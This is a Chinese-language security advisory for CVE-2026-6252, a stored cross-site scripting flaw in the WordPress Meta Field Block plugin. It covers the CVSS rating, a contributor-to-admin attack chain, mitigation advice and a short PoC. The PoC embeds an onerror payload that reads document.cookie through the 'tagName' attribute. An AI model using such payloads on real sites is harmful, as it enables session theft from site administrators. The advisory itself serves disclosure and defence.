IPBUF安全漏洞报告
English
CVE-2026-6252 CVSS 6.4 中危

CVE-2026-6252: WordPress Meta Field Block插件存储型XSS漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-6252
漏洞类型
存储型跨站脚本
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Meta Field Block 插件

相关标签

XSSWordPressStored XSSMeta Field BlockCWE-79

漏洞概述

WordPress的Meta Field Block插件在1.5.2及之前版本中存在存储型跨站脚本漏洞。由于对‘tagName’块属性的输入清理和输出转义不足,拥有投稿人及以上权限的攻击者可在页面中注入恶意脚本。一旦用户访问被注入的页面,脚本便会执行,可能导致权限窃取或恶意操作。

技术细节

该漏洞源于WordPress Meta Field Block插件在处理‘tagName’块属性时,未能实施充分的输入清理和输出转义机制。在WordPress的Gutenberg编辑器架构中,该插件允许用户通过自定义HTML标签名称来展示元字段。攻击者利用投稿人级别的账户权限编辑文章或页面,插入Meta Field Block,并将‘tagName’属性值修改为包含恶意JavaScript代码的构造字符串(例如携带onerror事件处理程序或直接注入脚本标签)。由于后端服务器未对这些特殊字符进行有效过滤,恶意载荷被完整存储于数据库中。当权限更高的用户(如管理员)访问该受损页面时,服务器端会输出未经转义的‘tagName’属性,导致浏览器解析HTML标签并执行其中的恶意脚本,进而窃取Cookie或执行未授权操作。

攻击链分析

STEP 1
步骤1:获取权限
攻击者注册或获取一个具有投稿人及以上权限的WordPress账户。
STEP 2
步骤2:注入Payload
攻击者登录后台,编辑或新建文章,插入Meta Field Block,并将‘tagName’属性修改为包含恶意JavaScript的Payload。
STEP 3
步骤3:持久化存储
攻击者保存文章,恶意脚本通过插件未经过滤的输入处理被存储在WordPress数据库中。
STEP 4
步骤4:触发漏洞
当管理员或其他用户浏览该受影响的文章页面时,服务器输出未转义的‘tagName’,恶意脚本在受害者浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-6252 // Context: WordPress Post Editor with Meta Field Block active // 1. Add a "Meta Field Block" to a page. // 2. In the block settings, modify the 'tagName' attribute. // 3. Inject payload into the tagName field. // Example payload structure: // "><img src=x onerror=alert('XSS')><" // Simulated JSON block data representing the malicious payload: const maliciousBlock = { "blockName": "meta-field-block/meta-field-block", "attrs": { "fieldName": "example_field", "tagName": "\"><img src=x onerror=alert(document.cookie)><\"" }, "innerHTML": "", "innerBlocks": [], "innerContent": [] }; // Description: // When the block is rendered, the plugin likely constructs an HTML element like: // <[tagName]>...</[tagName]> // Due to lack of escaping, this becomes: // <"><img src=x onerror=alert(1)><">Content...</"><img src=x onerror=alert(1)><"> // The browser interprets the <img> tag and executes the script.

影响范围

WordPress Meta Field Block 插件 <= 1.5.2

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用Meta Field Block插件,并严格审核所有用户提交的内容,特别是包含自定义块属性的文章,以防止恶意脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表